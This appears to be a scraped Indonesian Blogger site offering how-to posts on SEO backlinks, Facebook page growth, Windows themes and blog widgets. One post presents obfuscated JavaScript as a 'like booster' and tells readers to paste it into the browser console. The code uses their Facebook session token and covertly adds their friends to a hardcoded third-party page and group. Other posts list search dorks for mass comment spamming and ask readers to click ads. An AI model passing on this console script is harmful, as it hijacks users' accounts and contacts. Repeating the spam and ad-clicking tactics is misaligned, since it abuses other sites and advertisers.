FBacklink

Cara mendapatkan backlink yang berkualitas

2014-06-26T23:46:00.000+07:00

             Mungkin banyak yang menanyakan bagaimana sih cara dapet backlink yang berkualitas untuk blog sendiri .Inilah mungkin solusinya dengan menggunakan peralatan berupa search engine dan dork kalian bisa menemukan beberapa macam blog dengan backlink yang berkualitas dan bermanfaat seperti blog blog atau web web para elite di luar sana. tak dan tak harus berpanjang lebar denga n semua yang ada disini lets play topic:

1. Coba ketik saja di Search Engine Google

    inurl:keywordmu “This Site KeywordLuv

Atau bisa dengan ini

    inurl:Keywordmu “CommentLuv

2.Utamakan cari yang niche dengan keyword sobat itu dapat mempermudah google menemukan blog sobat

3. Selain berkomentar anda juga bisa melakukan Trackback. Karena cara ini untuk menemukan Blog atau Website dengan konten yang sama dengan Nice Keyword Website kita dan dengan cara ini backlink yang akan kita dapat akan berkualitas tinggi.

4. Berkomentar lah di situs-situs atau social bookmark yang mempunyai PR tinggi, karena backlinknya sangat berkualitas untuk daftarnya silahkan ke Daftar Situs Social Bookmarking Dofollow Dengan Pagerank yang berkualitas

Dan berikut ini ada beberapa keyword yang bisa dicoba sebagai alternative mendapatkan Backlink

    “Add comment” Keyword
    “Post comment” Keyword
    “Write comment” Keyword
    Keyword “leave a comment” / “leave comment”
    Keyword “Notify me of follow-up comments?”+”submit the word you see below”
    Keyword “Remember my personal information”+”Notify me of follow-up comments?”
    Keyword “Notify me of follow-up comment”
    Keyword “ This site uses keywordLuv”
    Keyword “Enable CommentLuv”
    Keyword “You can use these tags”
    Keyword “Powered by BlogEngine.NET”
    Keyword “Allowed HTML tags”
    Keyword “ top commenter”update:
    “It runs the StatusNet microblogging software”intitle:(Public timeline)
    “Add comment” Keyword
    “Post comment” Keyword
    “Write comment” Keyword
    Keyword “leave a comment / leave comment
    Keyword “Notify me of follow-up comments?”+”submit the word you see below”
    Keyword “Remember my personal information” + “Notify me of follow-up comments?”
    Keyword “Notify me of follow-up comments”
    Keyword “This site uses KeywordLuv”
    Keyword “Enable CommentLuv”
    Keyword “You can use these tags”
    Keyword “Powered by BlogEngine.NET”
    Keyword “Allowed HTML tags:”
    Keyword “top commenter”

RELEVANT Forums for backlinks and traffic

    Keyword “powered by phpbb” inurl:/forum
    Keyword “powered by vbulletin” inurl:/forum
    Keyword “powered by smf” site: /forum
    Keyword “powered by phpbb” inurl:/community
    Keyword “powered by vbulletin” inurl:/community
    Keyword “powered by smf” inurl:/community

.edu forums (exchange .edu with .gov for gov links)

    “powered by vbulletin” site:.edu
    “powered by phpbb” site:.edu
    “powered by smf” site:.edu

RELEVANT blogs yang allow comments

    Keyword “powered by wordpress”
    Keyword “leave a comment”
    Keyword “reply to post”
    Keyword “leave comment”
    Relevant blogs yang allow comments dengan keywords sebagai anchor text
    Keyword “this site uses keywordluv”
    Keyword “this site uses commentluv”

.edu sites yang allow comments

    Keyword “powered by wordpress” site:.edu
    Keyword “leave a comment” site:.edu
    Keyword “reply to post” site:.edu

Cara Menonaktifkan gambar di Mozilla Firefox Terbaru

2014-02-03T16:57:00.003+07:00

Helo sahabat FBL ketemi lagi bersama saya, setelah pulang sekolah ingin membuat artikel di blog tapi gk ada ide, akhirnya ide pun datang dengan cara mengetuk pintu hati saya hehehe. Artikel ini menurut kebiasaan saya dunia maya dengan hanya bermodalkan kuota Unlimited. Kalian taukan bagaimana kuota Unlimited, jangkauan terbatas, sinya ndat ndut pokok nya serba lama deh. Saya sering menonaktifkan gambar di browser Mozilla Firefox .Selain membuat penelusuran lebih ringan cara ini juga bisa menghilangkan iklan iklan yang aneh bin ajaib.

Kenapa Mozilla Firefox tidak menggunakan pengaturan yang berada di Content?
Karena dari beberapa Beta Tester Mozilla Terbaru cara tersebut membuat penelusuran menjadi error dan tidak bisa dekembalikan lagi seperti semula .
Oke langsung sajah kita telusuri ke TKP.

Buka Browser Mozilla Firefox
Masukan kalimat about:config ke kolom address
Jika sudah maka akan muncul tampilan seperti berikut

Maka klik tombol bertuliskan I'll be careful, I promise!
Setelah itu maka akan muncul tampilan seperti dibawah ini

Ketikan tulisan ini dikolom Search : permissions.default.image
Kemudian double klik pada kolom Value dan ubah Value tersebut dari 1 menjadi 2
Seperti gambar di bawah ini

Note: Value 1 berarti memfungsikan konten bergambar semen tara itu Value 2 berarti menghilangkan fungsi dari Value 1

Setelah ini artikel ini jangan kemana mana yh pembaca blog

Cara Submit Artikel ke Social Media dengan dlvr

2014-02-02T11:15:00.000+07:00

Hello sahabat FBL terasa lama yh saya gak kunjung mempublish artikel lagi, tapi saya sekarang akan mempublish artikel mungkin akan bermanfaat bagi para pengguna blog. Dalam artikel saya kali ini dimulai dengan cara mempublish artikel dari blogger dan langsung Otomatis ke social media. Gimana penjelasan saya mudahkan hehehh, dari sekian tutorial yang ada tentang mengsubmit artikel otomatis tapi kali ini saya memilih dengan menggunakan dlvr.it, cara ini cukup mudah tinggal daftar dan setting beberapa hal dan kemudian bisa dilihat hasilnya. Oke langsung kita ke pokok pembicaraam yok

Langkah pertama kalian harus daftar di dlvr.it
Setelah daftar kalian masuk ke Menu Deliveries
Kemudian pilih menu Routes
Setelah dipilih menu Routes pilih Add Route
Di kolom Source Lalu pilih Add dan pilih sumber berdasarkan Feed

Kemudian Add feed lalu masukan alamat feed blog anda dan atur sendiri pengaturannya
ex: http://feeds.feedburner.com/Fbacklink
Kemudian Save source

Lalu di kolom Destination pilih Add
Pilih tempat mana yang ingin menampilkan artikel kamu ex: Facebook
Masukan masukan alamat profil atau halaman facebook kalian
Anda akan dimintai persetujuan kemuadian klik Authorize atau Izinkan
Lalu setting kembali seperti yang kalian inginkan
Kemudian Save
Tunggu 10-15 menit maka artikel kalian yang kalian publish akan terkirim ke Facebook anda

Sekian dari Tutorial saya kali ini sampai ketemu lagi di tutor yang selanjutnya

Download lagu JKT48 Higurashi no Koi + Lirik

2014-01-26T10:30:00.001+07:00

Langsung sajah lah

Higurashi No Koi

Tempat dimana serangga berbunyi

Apakah engkau mengetahuinya

Di dahan perpohonon taman yang

Mulai berubah menjadi gelap

Diriku yang kau kira hanya teman

Walau menangis sendiri disini

Tidak pernah dirimu sadari

Oh pengalaman yang menyedihkan

Sebelum musim ini usai dan berganti

Ku kan terbang ke suatu tempat

Berada disampingmu

membuat ku sersiksa

Cinta yang hanya sementara

Diriku mungkin mungkin mungkin

Tersesat di hutan

Dlam hati ini

Diriku mungkin mungkin mungkin

Setidaknya tengok dan lihatlah kesini

Tak terungkapkan dalam kata

Summer ke enam belas

Jikalau nanti diriku tak ada

Tempat ini pun kan menjadi sepi

Hal yang dulu selalu terdengar

Higurashi langit yang jauh

Hari esok berbeda dengan hari ini

Akan selalu terasa sepi

Dulu aku berharap kau menemukannya

Cinta kecil yang satu arah

Sendiri mungkin mungkin mungkin

Oh teramat sakit singkat kehidupan ini

Sendiri mungkin mungkin mungkin

Ingatlah kembali pernah ada rasa

Aku suka dirimu

Summer ke enam belas

Diriku mungkin mungkin mungkin

Tersesat di hutan

Dlam hati ini

Diriku mungkin mungkin mungkin

Setidaknya tengok dan lihatlah kesini

Tak terungkapkan dalam kata

Higurashi no Koi

Silakan Download lagu ini : JKT48 - Higurashi No Koi

Cara memperbanyak like Fanspage dengan Auto Invite Like Fanspage

2014-01-23T18:45:00.000+07:00

Selamat menyimak sahabat FBL kali ini saya akan memberikan trik mudah mendapatkan banyak like di Fanspage kalian, Apa itu Fanspage? Fanspage adalah sarana untuk mempromosikan produk dan memperkenalkan produk kepada pengguna facebook. Memperbanyak ;ike di Fanspage membutuh banyak sekali waktu dan tenaga tapi dengan menggunakan trik ini mendapatkan like dengan mudah bisa sampai ratusan atau ribuan.

Huhuhuhu merinding gk tuh misalkan punya banyak yang like di fanspage kamu itu juga yang akan menaikan rating page ke jenjang yang lebih tinggi untuk di lihat oleh facebook.
Trik ini sudah dipakai berbagai fanspage di facebook, tanpa adanya access Token dan terbilang aman menggunakan trik ini hanya dengan modal banyak teman. Jadi tanpa ragu lagu langsung gunakan saja Auto Invite Like Fanspage.

Login ke facebook anda
Masuk ke halaman fanspage anda
Copy kode dibawah ini :

javascript: eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('h j=\'x n m l<3/> 4:<a 6="0:#k;" 9="s://b.c.d/g/e.5.a/" 8="2">1 7</A>\';h o="",p=\'q 4: r [i ] t%</3>u v 4 </A><a 6="0:#w;" 9="f://b.c.d/g/e.5.a/" 8="2">1 7</A></A>.</3> y z B <a 6="0:#C;" 9="f://b.c.d/e.5.a/" 8="2">1 7</A>.</A>\';',39,39,'color|BLOGGER|_blank|br|By|Nusantara|style|NUSANTARA|target|href|ID|www|facebook|com|Blogger|http|groups|var|llllllllllllllll|Title|00FF7F|Page|Fans|Invite|Descriptions|_text|Powered|Loading|https|99|Script|Made|00FF00|Auto|Join|My||Fanpage|00FFFF'.split('|'),0,{}))
page_id = /"profile_owner":"([0-9]+)"/.exec(document.getElementById("pagelet_timeline_main_column").getAttribute("data-gt"))[1];
function InviteFriends(opo) {
    jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send_single?page_id=" + page_id + "&invitee=" + opo + "&elem_id=u_0_1k&action=send&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=8&fb_dtsg=" + fb_dtsg + "&phstamp=", function (a) {
        var b = a.substring(a.indexOf("{"));
        var c = JSON.parse(b);
        i--;
        Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
        if (c.error) {
            Descriptions += "color:darkred'>
";
            err++;
            if (c.errorDescription) Descriptions += c.errorDescription;
            else Descriptions += JSON.stringify(c, null, "")
        } else {
            Descriptions += "color:darkgreen'>";
            Descriptions += arn[i] + " has been invited to like the page " + page_name + ".";
            suc++
        }
        Descriptions += "</div>
";
        var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff'>
";
        display += "<div style='padding-bottom:5px;font-size:20px;'>
" + Title + "</div>
";
        if (i > 0) {
            display += arr.length + " Friends Detected<br/>";
            display += "<b>" + suc + "</b> Friends Invited of " + (arr.length - i) + " Friends Processed ";
            display += "(" + i + " Lefted...)";
            display += "<div class='friend-edge'>
";
            display += Descriptions;
            display += "</img><a style='font-size:13px;padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
            display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>
";
            display += "Please Wait While Inviting Your Friends to Like Your Page " + page_name + ".</br>";
            display += _text;
            display += "</div>
";
            display += "</div>
";
            window[tag + "_close"] = true
        } else {
            Title = "All Of Your Friends Have Been Invited to Like Your Page.</A>";
            display += arr.length + " Friends Detected and ";
            display += "<b>" + suc + " Friends Invited.</b></br>";
            display += "<div>
<span class='FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge' onClick='ChangeLocation()' style='color:white'>Go to Homepage</span><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"' style='color:gray'>Cancel</span><br/>";
            display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>
<br/>";
            display += _text;
            display += "</div>
";
            window[tag + "_close"] = false
        }
        display += "</div>
";
        document.getElementById("pagelet_sidebar").innerHTML = display
    }, "text", "post");
    tay--;
    if (tay > 0) {
        var s = arr[tay];
        setTimeout("InviteFriends(" + s + ")", 100)
    }
    console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  
  
                        if (page_id)jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=524562520942363&__user="+ user_id +  "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post")
                        
                        if (page_id)jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=1436083469939053&source=typeahead&members=" + opo + "&nctr[_2]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function () {}, "text", "post");
                        
    }
jx = {
    b: function () {
        var b = !1;
        if ("undefined" != typeof ActiveXObject) try {
            b = new ActiveXObject("Msxml2.XMLHTTP")
        } catch (c) {
            try {
                b = new ActiveXObject("Microsoft.XMLHTTP")
            } catch (a) {
                b = !1
            }
        } else if (window.XMLHttpRequest) try {
            b = new XMLHttpRequest
        } catch (h) {
            b = !1
        }
        return b
    },
    load: function (b, c, a, h, g) {
        var e = this.d();
        if (e && b) {
            e.overrideMimeType && e.overrideMimeType("text/xml");
            h || (h = "GET");
            a || (a = "text");
            g || (g = {});
            a = a.toLowerCase();
            h = h.toUpperCase();
            b += b.indexOf("?") + 1 ? "&" : "?";
            var k = null;
            "POST" == h && (k = b.split("?"), b = k[0], k = k[1]);
            e.open(h, b, !0);
            e.onreadystatechange = g.c ? function () {
                g.c(e)
            } : function () {
                if (4 == e.readyState)
                    if (200 == e.status) {
                        var b = "";
                        e.responseText && (b = e.responseText);
                        "j" == a.charAt(0) ? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : "x" == a.charAt(0) && (b = e.responseXML);
                        c && c(b)
                    } else g.f && document.getElementsByTagName("body")[0].removeChild(g.f), g.e && (document.getElementById(g.e).style.display = "none"), error && error(e.status)
            };
            e.send(k)
        }
    },
    d: function () {
        return this.b()
    }
};

kalau sudah di copy, lalu pastekan ini dengan cara:

Jika menggunakan Mozila Firefox
Tekan ctrl + shift +K , lalu pastekan kode yang kamu copy tepat didalam kotak kecil
Jika menggunakan Google Chrome
Tekan F12 lalu pilih Console lalu pastekan kode tersebut .

Tunggu sampai proses selesai
Jika sudah selesai klik Go To Homepage
Tunggu lagi beberapa saat dan jumlah like fanspage kalian akan meningkat

Selesai juga tutorial yang saya berikan, jika kurang atau belum paham silakan komen di bawah ini

Membuat tampilan Windows 7 dan 8 menjadi Mac Os dengan RocketDock

2014-01-16T11:30:00.000+07:00

Hai sahabat FBL lama sekali saya tidak mempublish artikel yang bermanfaat dan juga menarik hhehhe. Pikir dipikir saya bingun mau bikin artikel apaan tapi pas lagi iseng buka laptop eh malah ngeliat tampilan windows saya ehh ternyata keren juga yh .
Baguskan jika tampilan windows kamu menjadi keren dan bisa dipamerkan ama temen temen kamu hahahah

mau tau caranya
langsung saja kita pratekan
Download dulu Bahan bahannya :

Kalau sudah di download semua bahannya tinggal cara pasangnya

Ekstrak RocketDocknya
Buka RocketDocknya lalu di Install
Setelah di Install Ekstrak Stacks Dockletnya
Copy folder Stacks Docklet ke RocketDocks\Docklets

Setelah selesai coba diperiksa kembali
Note :

jika gagal maka dianjurkan supaya mengubah securitynya menjadi Full Control

Selamat mencoba dan semoga berhasil kawan, jangan lupa tinggal kan komentar atau sekedar mengklik iklan di blog ini

Cara Merubah Tema Windows 7 menjadi Mac OS

2014-01-09T10:14:00.000+07:00

Halo sahabat FBL, suadh lama saya tidak memposting artikel hehehhe takut pageview menurun jadi saya memposting satu artikel semoga saja menjadi top rating di google. Tapi sebelumnya saya ingin bertanya kepada kalian, apa kalian bosan dengan tampilan windows7 yang begitu begitu saja hmmm daya njuga dulu pernah bosan dengan OS yang satu ini akhirnya saya mengubah tampilannya menjadi lebih keren dengan memasang skin Mac OS. Selain keren juga nih skin, skin ini juga membuat anda lebih percaya diri dalam memamerkan laptop anda kepada teman anda heheheh

Oke cara pemasangannya sangat mudah dengan

Download skin inih disni
Buka File lalu install
tinggal klik next next aja heeheehe

Screenshot

Note:

Sebelum menginstall terlebih dahulu untuk mematikan program yang sedang berjalan di laptop mu

Tidak semua laptop bisa diterapkan skin ini

Nah berakhir sudah perjumpaan kita kali ini haha jangan pada nangis yh hmm :D Happy Fun ajh yh

Cara mendapatkan Follower banyak di Twitter

2014-01-04T11:22:00.001+07:00

Halo Sahabat FBL kali ini atau sekarang saya akan mmeberikan tips bagi untuk bagaimana pengguna twitter mendapatkan banyak sekali follower biar dibilang ADM hehhe . Memangsih follower juga dibutuh kan bagi pengguna twitter untuk saling bertukar informasi, wah informasi yang kaya gimana tuh. Informasi yang berguna dan ada juga untuk jaringan bisnis serta promosi .

Lansung sajah kita ke pokok permasalahan
Pertama kalian harus Login di akun twitter kalian
selanjutnya kunjungi Alamat ini

Nah kalau sudah dapat follower nya share artikel in yh

Jadwal Update Pagerank tahun 2014

2014-01-03T09:18:00.000+07:00

Hai sahabat FBL kali ini saya akan memberikan informasi yang begitu penting dalam dunia web/ blog tentang update pagerank. Apa itu pagerank? Pagerank adalah istilah perhitungan SEO untuk sistem penilaian yang memberikan poin poin pada setiap halaman web yang berada di dunia maya yang dimiliki oleh google. Yah walaupun pagerank saya belum pecah pecah telurnya hehehe, masih baru gan jangan di bully yah.

Berikut jadwal update pagerank yang dijanjikan oleh Google :

Bulan Maret 2014 (14 - 25 Maret )
Bulan Juni 2014 (1 - 14 Juni )
September 2014 ( 15 - 30 September )
Desember 2014 ( 10 - 26 Desember )

Sekian dari Informasi yang saya berikan semoga jadwal Update pagerank yang diatas dapat membuat kalian menjadi temotivasi

Cara Install Portable Ubuntu

2014-01-02T19:06:00.000+07:00

Hola sahabat FBL yang baik hati dan tidak sombong, untuk sekarang saya akan menjelaskan langkah langkah bagaimana cara menginstall Portable Ubuntu. Perlu diketahui bahwa Portable Ubuntu memiliki beberapa kelebihan, Contoh sebagian kecil adalah Portable Ubuntu bisa dijalankan di Windows tanpa harus mengubah OS Windows tersebut, Oke langsung ajh ke pokok permasalahan tanpa butuh penjelasan panjang lebar .

Langkah langkah Penginstallan
Download Portable Ubuntu disini
Setelah selesai Download kemudian tinggla pilih ekstrak dimana, boleh di hardisk atau juga di Flashdisk
Contoh saja misalkan di ekstrak di Dekstop

Setelah selesai maka Folder tersebut akan dinamakan Portable_Ubuntu

Untuk menjalankannya klik Start kemudian pilih Command Promt, Lalu klik kanan pilih Run as Administrator

Lalu masukan perintah contoh misalnya C:\User\DIAN HERDIANA\Desktop\Portable_Ubuntu\run_portable_ubuntu.bat kemudian enter

Nah tinggal tunggu deh proses Installasi berlangsung

Jika proses installasi sudah selesai, maka akan tampak sebuah panel Ubuntu di desktop

Nah ada beberapa tampilan antara win7 dengan Portable Ubuntu

Bagaimana keren kan silakan di coba gan
bagi yang menglami kendala silakan komentar di bawah ini

HTMLy, Playform CMS tanpa Database

2014-01-01T10:41:00.004+07:00

HTMLy mungkin dari kalian hanya sedikit yang tahu tentang ini, HTMLy merupakan buatan tangan dari kang Danang silakan kunjungi websitenya disini
HTMLy adalah terobosan didunia Blogging dengan menggunakan media / Platform CMS tanpa adanya Database. Mungkin kalian bertanya tanya, Wah kok bisa sih? Bagaimana nanti kita akan menyompan hasil posting dan komentar serta hal hal lain yang membutuhkan Database?
Bisa, HTMLy ini memakai sistem yang menggunakan penurunan data untuk memyimpan posting, contoh dalam format Tanggal, Kategori dan URL diambil dalam nama post/ file

2013-12-25_general_url-of-the-post.md

Contoh jika dipisahkan dengan garis "-"

2013/12/25 adalah tanggal diterbitkan
umum adalah tag / kategori
url -of - the- post.md adalah membentuk url utama

Mudah bangetkan jadi kita hanya perlu memberi nama file dengan format yang di atas dan kemudian upload ke folder tertentu , dalam hal ini memasukan ke dalam folder isi/ blog merupakan post blog dan isi/ statis dalam halaman .

Untuk halaman statis HTMLy menggunakan format
about.md

Mungkin ada pertanyaan, Kenapa kita harus menggunakan nama file?
Jawabannya karena dengan nama file kita lebih cepat terbaca membaca file tersebut dengan filter, kemudian membaca isi file yang dicocokan. Meskipun cara ini dapat berubah di masa depan

Bagaimana syarat yang diperlukan dalam menggunakan HTMLy
Syaratnya gampang kita hanya membutuhkan PHP 5.3+ , Tanpa database untuk menjalankan HTMLy.

Apa saja sih fitur yang ada di HTMLy

Kategori dengan menggunakan tag
Halaman statis Eg . untuk halaman kontak
Meta canonical , deskripsi , dan markup untuk SEO
Pagination
Author Page
Link sosial
Sistem Komentar
Google Custom Search
Per pos navigasi ( mirip dengan posting sebelumnya dan berikutnya )
Body class dan post untuk penerapan yang lebih mudah
Breadcrumb
Halaman Arsip dan List ( tahun , tahun - bulan , atau tahun - bulan - hari)
JSON API
RSS Feed ( berguna misalnya , kita ingin mengekspor blog kita ke platform lainnya )
Selain itu CMS ini merupakan buatan anak bangsa

Jika kalian berminat kalian bisa melihat HTMLy dalam versi BETA disini

Sekian post saya kali ini, saya ucapkan Selamat Tahun Baru 2014, Semoga blog ini makin bertambah pengunjungan, mendapatkan pagerank, banyak komenntar, punya penghasilan dari adsense, rank alexa makin ramping .

Cara Install BBM di Komputer Laptop

2013-12-31T11:42:00.003+07:00

Hello gan, sapa disini yang belom punya Android dan iOS, hehe sabar ajh yh kalau belum punya. Kini Blackberry telah merilis aplikasi yang menjadi andalannya yaitu BBM ke pengguna Android dan iOS. Bagi yang belum punya Android atau iOS kini bisa menerapkan BBM, di Laptop kalian heheh
Gimana keren kan bisa maen bbm ama temen, gk jauh beda ama yang punya Android dan iOS malahan lebih keren dan menarik .
Nah langsung ajah kita coba, terlebih dahulu kita menyiapkan perangkat Spesifikasi Laptop kalian
1.Processor kalian lebih dari dual core dan support Virtualization
2.RAM lebih dari 2GB
3.VGA card support OpenGL 2.0

Bahan bahan yang harus disiapkan:
1 Download VirtualBox Disini
2. Download aplikasi Genymotion Disini
3. Download Android SDK Disini

Langkah Langkah menerapkan BBM di Laptop
Install Virtualbox tinggal klik enter dan next next ajh
Install Genymotion
Setelah di Install Genymotion, masukan login id nya
Pilih gadget yang menjadi perangkat kalian yang penting OS nya JellyBean, Seperti Galaxy S4

Klik add next dan Create dan itu butuh waktu koneksi unutuk mengambil virtual devicenya
Jika diminta SDK( Patch Android) klik Yes dan Browse ke file SDK .

Jika berhasil makan akan tampak seperti ini

Jiah manteb kaga, tanpa punya BB, Android, iOS bisa bbman hehe
Misalkan ada yang gagal mungkin bisa dilihat spesifikasi untuk Kompi kalian masing2 yh

Saya sudahi dulu artikel saat ini sampai jumpa, dan sampai ketemu lagi di artikel selanjutnya

Cara Membuat Login dengan Slide di blog

2013-12-30T17:10:00.000+07:00

Oke gan gk perlu lama lama, Kita langsun ke TKP

Buka Blogger
Pilih Template > Edit HTML
Kemudian cari kode </head> dengan ctrl+f /F3
Jika sudah ketemu, masukan kode dibawah ini tepat diatas kode </head>

<script src='http://web-kreation.com/demos/Sliding_login_panel_jquery/js/jquery-1.3.2.min.js' type='text/javascript'/><script style='display:none' type='text/javascript'>$(document).ready(function() {

// Expand Panel
$("#open").click(function(){
$("div#panel").slideDown("slow");
});

// Collapse Panel
$("#close").click(function(){
$("div#panel").slideUp("slow");
});

// Switch buttons from "Log In | Register" to "Close Panel" on click
$("#toggle a").click(function () {
$("#toggle a").toggle();
});

});
</script>

Kemudian cari kode ]]></b:skin>
Lalu masukan kode dibah ini tepat diatas kode ]]></b:skin>

.tab {
background: url(http://web-kreation.com/demos/Sliding_login_panel_jquery/images/tab_b.png) repeat-x 0 0;
height: 42px;
position: relative;
top: 0;
z-index: 999;
}

.tab ul.login {
display: block;
position: relative;
float: right;
clear: right;
height: 42px;
width: auto;
font-weight: bold;
line-height: 42px;
margin: 0;
right: 150px;
color: white;
font-size: 80%;
text-align: center;
}

.tab ul.login li.left {
background: url(http://web-kreation.com/demos/Sliding_login_panel_jquery/images/tab_l.png) no-repeat left 0;
height: 42px;
width: 30px;
padding: 0;
margin: 0;
display: block;
float: left;
}

.tab ul.login li.right {
background: url(http://web-kreation.com/demos/Sliding_login_panel_jquery/images/tab_r.png) no-repeat left 0;
height: 42px;
width: 30px;
padding: 0;
margin: 0;
display: block;
float: left;
}

.tab ul.login li {
text-align: left;
padding: 0 6px;
display: block;
float: left;
height: 42px;
background: url(http://web-kreation.com/demos/Sliding_login_panel_jquery/images/tab_m.png) repeat-x 0 0;
}

.tab ul.login li a {
color: #15ADFF;
}

.tab ul.login li a:hover {
color: white;
}

.tab .sep {color:#414141}

.tab a.open, .tab a.close {
height: 20px;
line-height: 20px !important;
padding-left: 30px !important;
cursor: pointer;
display: block;
width: 100px;
position: relative;
top: 11px;
}

.tab a.open {background: url(http://web-kreation.com/demos/Sliding_login_panel_jquery/images/bt_open.png) no-repeat left 0;}
.tab a.close {background: url(http://web-kreation.com/demos/Sliding_login_panel_jquery/images/bt_close.png) no-repeat left 0;}
.tab a:hover.open {background: url(http://web-kreation.com/demos/Sliding_login_panel_jquery/images/bt_open.png) no-repeat left -19px;}
.tab a:hover.close {background: url(http://web-kreation.com/demos/Sliding_login_panel_jquery/css/../images/bt_close.png) no-repeat left -19px;}

/* sliding panel */
#toppanel {
position: absolute;
top: 0;
width: 100%;
z-index: 999;
text-align: center;
margin-left: auto;
margin-right: auto;
}

#panel {
width: 100%;
height: 270px;
color: #999999;
background: #272727;
overflow: hidden;
position: relative;
z-index: 3;
display: none;
}

#panel h1 {
font-size: 1.6em;
padding: 5px 0 10px;
margin: 0;
color: white;
}

#panel h2{
font-size: 1.2em;
padding: 10px 0 5px;
margin: 0;
color: white;
}

#panel p {
margin: 5px 0;
padding: 0;
}

#panel a {
text-decoration: none;
color: #15ADFF;
}

#panel a:hover {
color: white;
}

#panel a-lost-pwd {
display: block;
float: left;
}

#panel .content {
width: 960px;
margin: 0 auto;
padding-top: 15px;
text-align: left;
font-size: 0.85em;
}

#panel .content .left {
width: 280px;
float: left;
padding: 0 15px;
border-left: 1px solid #333;
}

#panel .content .right {
border-right: 1px solid #333;
}

#panel .content form {
margin: 0 0 10px 0;
}

#panel .content label {
float: left;
padding-top: 8px;
clear: both;
width: 280px;
display: block;
}

#panel .content input.field {
border: 1px #1A1A1A solid;
background: #414141;
margin-right: 5px;
margin-top: 4px;
width: 200px;
color: white;
height: 16px;
}

#panel .content input:focus.field {
background: #545454;
}

/* BUTTONS */
/* Login and Register buttons */
#panel .content input.bt_login,
#panel .content input.bt_register {
display: block;
float: left;
clear: left;
height: 24px;
text-align: center;
cursor: pointer;
border: none;
font-weight: bold;
margin: 10px 0;
}

#panel .content input.bt_login {
width: 74px;
background: transparent url(http://web-kreation.com/demos/Sliding_login_panel_jquery/images/bt_login.png) no-repeat 0 0;
}

#panel .content input.bt_register {
width: 94px;
color: white;
background: transparent url(http://web-kreation.com/demos/Sliding_login_panel_jquery/images/bt_register.png) no-repeat 0 0;
}

#panel .lost-pwd {
display: block;
float:left;
clear: right;
padding: 15px 5px 0;
font-size: 0.95em;
text-decoration: underline;
}

Next selanjutnya masukan kode dibawah ini tepat diatas kode </body>

<div id='toppanel'>
<div id='panel'>
<div class='content clearfix'>
<div class='left'>
<h1>Welcome In Kode Blogger</h1>
<h2>Contoh Sliding Login yang keren</h2>
<p class='grey'>Silakan mencoba</p>
<h2>Fbacklink</h2>
<p class='grey'>Get This click : <a href='http://fbacklink.blogspot.com/2011/05/membuat-sliding-loginregister-form.html' title='Download'>This</a></p>
</div>

<div class='left'>
<form action='#' class='clearfix' method='post'>
<h1 class='padlock'>Member Login</h1>
<label class='grey' for='log'>Username:</label>
<input class='field' id='log' name='log' size='23' type='text' value=''/>
<label class='grey' for='pwd'>Password:</label>
<input class='field' id='pwd' name='pwd' size='23' type='password'/>
<label><input checked='checked' id='rememberme' name='rememberme' type='checkbox' value='forever'/> Remember me</label>
<div class='clear'/>
<input class='bt_login' name='submit' type='submit' value='Login'/>
<a class='lost-pwd' href='#'>Lost your password?</a>

</form>
</div>
<div class='left right'>
<form action='#' method='post'>
<h1>Not a member yet? Sign Up!</h1>
<label class='grey' for='signup'>Username:</label>
<input class='field' id='signup' name='signup' size='23' type='text' value=''/>
<label class='grey' for='email'>Email:</label>
<input class='field' id='email' name='email' size='23' type='text'/>
<label>A password will be e-mailed to you.</label>
<input class='bt_register' name='submit' type='submit' value='Register'/>
</form>
</div>

</div>
</div>


<div class='tab'>
<ul class='login'>
<li class='left'/>
<li>Halo Semuanya</li>
<li class='sep'>|</li>
<li id='toggle'>
<a class='open' href='#' id='open'>Masuk | Daftar</a>
<a class='close' href='#' id='close' style='display: none;'>Tutup Panel</a>
</li>

<li class='right'/>
</ul>
</div>

</div>

Tinggal save deh

Note
Ganti tulisan yang berwarna Merah dengan kalimat anda
Ganti juga tulisan yang berwarna Biru

Untuk menghargai penulis, silakan komen dan klik iklan di blog saya yang sederhana ini

Cara Membuat Menu Accordion Tanpa Edit HTML

2013-12-29T12:54:00.002+07:00

Hai sahabat FBL heheh udah punya sebutan nih buat fans pembaca blog ini . Saya punya cara nih supaya blog kita menjdi lebih elegan, simple, fast loading, tapi tetep keren nih. Mau tau caranya ?
Beberapa waktu yang lalu saya membuat posting tentang hal yang fungsinya sama yaitu Cara buat Tab View Keren v2 tanpa Edit HTML dan Cara buat Tab View Keren tanpa Edit HTML

